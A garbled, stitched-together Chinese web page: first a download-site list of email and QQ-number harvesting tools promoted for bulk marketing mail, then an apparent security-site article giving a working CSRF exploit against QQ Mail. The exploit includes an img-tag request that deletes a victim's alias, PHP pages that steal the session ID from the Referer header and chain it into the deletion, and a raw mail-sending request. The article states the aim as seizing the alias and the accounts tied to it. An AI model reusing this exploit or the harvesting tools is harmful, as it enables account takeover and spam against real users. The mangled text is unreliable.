扫描二维码，下载文件到手机
相关文档推荐
用户应遵守著作权法，尊重著作权人合法权益，不违法上传、存储并分享他人作品。举报邮箱：
京网文[0号 京ICP证100780号贴吧邮箱提取器_QQ邮箱提取器下载_邮箱提取器大全_腾牛下载
邮箱提取器
如果你是一名网络推广人员的话，相信你也用过邮件进行网络推广营销吧。可是哪里去找那么多的邮箱地址呢。在这里小编为大家整理了一批邮箱提取器，这些邮箱提取器最大的作用在于帮助你在线提取网页上的电子邮箱地址，一键批量抓取客户邮箱，快速导出邮箱地址，方便你批量群发邮件，有了邮箱提取器，相信你的网络推广营销工作将变得更加得心应手，欢迎免费下载使用！
960KB / 13-10-08
1.0 绿色版
推荐理由：提取网页中qq号和邮箱工具是由晨风软件推出，是一款擅长抓取百度贴吧中的qq号、邮箱、qq空间中的访客qq号、qq邮箱的软件，可以用作...
524KB / 11-03-20
1.0 ***版
推荐理由：免费专业的QQ号码邮箱提取软件，无需注册无功能限制！按省份、城市、年龄、性别，及是否在线用户、是否有摄像头进行高级查找。搜索...
439KB / 14-04-19
0.3 绿色版
推荐理由：百度贴吧邮箱提取器是一款用来批量提取贴吧帖子中邮箱的工具，经常泡贴吧的用户都知道，特别是那些资源共享的...
704KB / 13-05-14
2.0 绿色版
推荐理由：苏苏贴吧邮箱提取器是一款非常高效的网络推广软件，他可以帮助你免费提取到贴吧用户的QQ邮箱，赶快来试试吧。...
319KB / 13-03-08
1.0 绿色免费版
推荐理由：小歪制作的网页邮箱提取器功能，帮助你轻松提取邮箱。软件特点：1、可以批量在网页上提取邮件地址2、支持...
1.1M / 15-04-30
8.0 破解版
推荐理由：无限QQ邮箱提取器是一款专门针对QQ邮箱的邮箱地址提取工具，这款软件可以帮助你在短时间内快速提取大量在线QQ...
2.1M / 13-08-29
推荐理由：涛涛QQ邮箱提取工具是一款能从QQ查找窗口中极速提取QQ号码资料的一款软件，由于QQ查找联系人上查找到的都是在...
381KB / 15-04-30
1.0 免费版
推荐理由：邮箱提取器是一款强大的邮箱地址提取工具，这款邮箱提取器专为网络推广营销人员设计制作，可以帮助你一键提取...
1.8M / 14-05-11
1.0 绿色版
推荐理由：超慢邮箱提取工具是一款网页邮箱提取工具，可以将某个网页上面的邮箱全部提取出来，可以保存在本地，使用简单...
472KB / 15-01-27
1.0 免费版
推荐理由：网页邮箱提取器是目前最新可用的一款网页邮箱提取工具，能够将任意网页中所有的邮箱单独提取出来，这样就避免...
2.6M / 16-01-27
12.8 官方版
推荐理由：外虎QQ提取系统是一款专门为QQ推广营销的朋友制作的QQ提取工具，这款软件功能强大，它可以帮助用户提取大量的...
331KB / 15-06-09
2.5 绿色版
推荐理由：先河邮件追捕是一款免费绿色好用的批量邮箱提取软件，它可以在你指定的网页中批量提取邮箱地址，软件操作简单...
512KB / 15-02-27
推荐理由：eMail Address Extractor for Mac是一款实用的Mac邮箱地址提取工具，它可以帮助你从几乎任何类型的文本文件中...当前位置： && 知识详情
QQ邮箱重要参数暴露致安全性低下#附EXP
阅读：48453次
前段时间补天收到蓝方同学提交的一个腾讯QQ邮箱漏洞，小编觉得这个漏洞挺好玩的，就先给大家分享出来。第一个：【英文邮箱的重要性】前言：一个人注销英文邮箱以后，别人可以再一次申请这个英文邮箱，那么问题来了！如果一个人被动注销，再由黑客注册，那么这个人在其他网站注册的账号密保将会落入黑客之手，十分的危险呀！&& 上图有两个邮箱，一个英文邮箱，一个是QQ号邮箱。& 英文邮箱是很热门的，因为现在很多人习惯依赖于腾讯的产品，但是又不想暴露自己的QQ号，但是这类邮箱有一个很大的弊端，就是申请注销后，别人可以直接申请。来源验证：&当我们注销英文邮箱的时候，我们发现有一个十五天注销的限制，如果是盗号，肯定会被察觉，只有CSRF可以悄无声息的完成这些操作。&这里是GET请求进行提交的，然后我们去除来源（referer）验证了一下，也用poc测试了一下然后洞主自己写了test页看看效果&代码是：&!DOCTYPE&html&PUBLIC&&-//W3C//DTD&XHTML&1.0&Transitional//EN&&&http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&&
&html&xmlns=&http://www.w3.org/1999/xhtml&&xml:lang=&en&&
&meta&http-equiv=&Content-Type&&content=&text/charset=UTF-8&&
&title&test&/title&
&img&src=&http://set1./cgi-bin/modify_alias?action=apply&sid=FQm36TMwNtZsZWYz&t=apply_delalias&s=done&alias=cnmlgb.&/&
&/html&&然后登上十五天就可以成功了。总结：因为QQ邮箱放弃了来源验证。大家觉得高潮就这么结束了吗？当然没有啦。现在漏洞陷入了难关，洞主想给他发一个链接，然后让别人点击，这样他的邮箱十五天后就注销成功了，然后黑客再去注册，然后盗取他的所有账号密码。但是事实上是这样：&现在我们可以看到URL上面直接显示出了SID，那我们就写点代码直接抓取这个URL吧&html&
&&&&&&head&
&&&&&&&&&&&&&&&meta&http-equiv=&Content-Type&&content=&text/&charset=UTF-8&&
&&&&&&&&&&&&&&&title&QQmail-CSRF-TEST&/title&
&&&&&&/head&
&&&&&&&body&
&&&&&&&$ref&=&$_SERVER['HTTP_REFERER'];
&&&&echo&&&div&&$ref&&/div&&&;
&&&&&&&&/body&
&/html&然后洞主自己用自己的博客加了一个test页面，把代码保存在了：/test.php然后洞主就很有想法的，直接自己给自己发了一封邮件，以此来测试URL抓取的效果&输入如下：我们并没有得到SID&原因在于URL跳转技术保障了SID的安全性上面就是URL跳转和不跳转的区别，因为采用了URL跳转，所以我们抓取到的是C：URL洞主经过很久的挖掘，终于找到了两处没有跳转的邮件地址一个是订阅邮件，一个是阅读日志&然后洞主在这个模块里面发了洞主实现写好代码的地址这样SID就彻底的暴露了出来&如果是博客主，或者站长之类的话可以直接去申请订阅，这样攻击简单，受害面也能扩大。&假设A是完美世界DOTA2的玩家，那么我们申请一个博客，再弄订阅邮件就可以了。新上线的QQ阅读中也有类似的错误&然后洞主把链接丢了上去就返回了SID&【可以在一个页面内完成获取SID，申请撤销英文邮箱】得到后，可以将它SID字段提取出来，保存为参数：&html&
&&&&&&&head&
&&&&&&&&&&&&&&&meta&http-equiv=&Content-Type&&content=&text/&charset=UTF-8&&
&&&&&&&&&&&&&&&title&QQmail-CSRF-TEST&/title&
&&&&&&&/head&
&&&&&&&body&
&&&&&&&$ref&=&$_SERVER['HTTP_REFERER'];
&&&&echo&$ref[45].$ref[46].$ref[47].$ref[48].$ref[49].$ref[50].$ref[51].$ref[52].$ref[53].$ref[54].$ref[55].$ref[56].$ref[57].$ref[58].$ref[59].$ref[60]
&&&&&&&&/body&
&/html&然后洞主依旧吧SID提取出来的脚本保存在自己的博客上/test2.php最后用JS，对账号进行撤销：脚本如下：&html&
&&&&&&&head&
&&&&&&&&&&&&&&&meta&http-equiv=&Content-Type&&content=&text/&charset=UTF-8&&
&&&&&&&&&&&&&&&title&QQmail-CSRF-TEST&/title&
&&&&&&&/head&
&&&&&&&body&
&&&&&&&$ref&=&$_SERVER['HTTP_REFERER'];
&&&&&&&$ref2&=&$ref[45].$ref[46].$ref[47].$ref[48].$ref[49].$ref[50].$ref[51].$ref[52].$ref[53].$ref[54].$ref[55].$ref[56].$ref[57].$ref[58].$ref[59].$ref[60]
&&&&&&&script&src=&http://set1./cgi-bin/modify_alias?action=apply&sid=&?php&echo&$ref2;&?&&t=apply_delalias&s=done&alias=要抢占的QQ英文邮箱&&
&&&&&&&/script&
&/html&洞主的提取SID，并且注销账号的脚本：/test3.php就这样神不知鬼不觉的十五天后QQ邮箱就是你的。他用这个邮箱注册过的网站账号也是你的了第二：【其他劫持】SID是很强大的，有了它可以做很好时间，比如在一个文件内，发一封邮件。POST&/cgi-bin/compose_send?sid=6PROfaf6r0-1Li14&HTTP/1.1
Host:&set1.
Proxy-Connection:&keep-alive
Content-Length:&570
Origin:&http://set1.
User-Agent:&Mozilla/5.0&(Windows&NT&5.1)&AppleWebKit/537.36&(KHTML,&like&Gecko)&Chrome/31.0.1650.63&Safari/537.36
Content-Type:&application/x-www-form-urlencoded
Accept:&*/*
Referer:&http://set1./zh_CN/htmledition/ajax_proxy.html?&v=140521
Accept-Encoding:&gzip,deflate,sdch
Accept-Language:&zh-CN,q=0.8
Cookie:&something&
06dac2ff9ee256bd3b121=eae&sid=6PROfaf6r0-1Li14&from_s=cnew&to=%22cnmlgb.vip%22&cnmlgb.&&subject=e&content__html=&div&e&/div&&sendmailname=&savesendbox=1&actiontype=send&sendname=è??ae??&acctid=0&&separatedcopy=false&s=comm&hitaddrbook=0&selfdefinestation=-1&domaincheck=0&cgitm=1&cgitm=1&clitm=5&clitm=5&comtm=7&comtm=7&logattcnt=0&logattcnt=0&logattsize=0&logattsize=0&cginame=compose_send&ef=js&t=compose_send.json&resp_charset=UTF8以上参数修改不会有问题，包括时间戳。只要SID正确就可以发送邮件了第三：【发表空间日志】任何账号给自己的空间邮箱发送邮件即可发表说说：模板是这个：***@ & &
本文由 安全客 原创发布，如需转载请注明来源及本文地址。本文地址：/learning/detail/672.html
参与讨论，请先
这马赛克打的???
我勒个去……为毛不早点出来？！哥刚刚注销了QQ的英文邮箱账号……
@Secer 无聊
可以把英文邮箱也提取出来，惊呆了
撸站新思路，新技能GET√
现在应该不能用了吧？
安全播报APP
Copyright & 360网络攻防实验室 All Rights Reserved 京ICP证080047号[京ICP备号-6]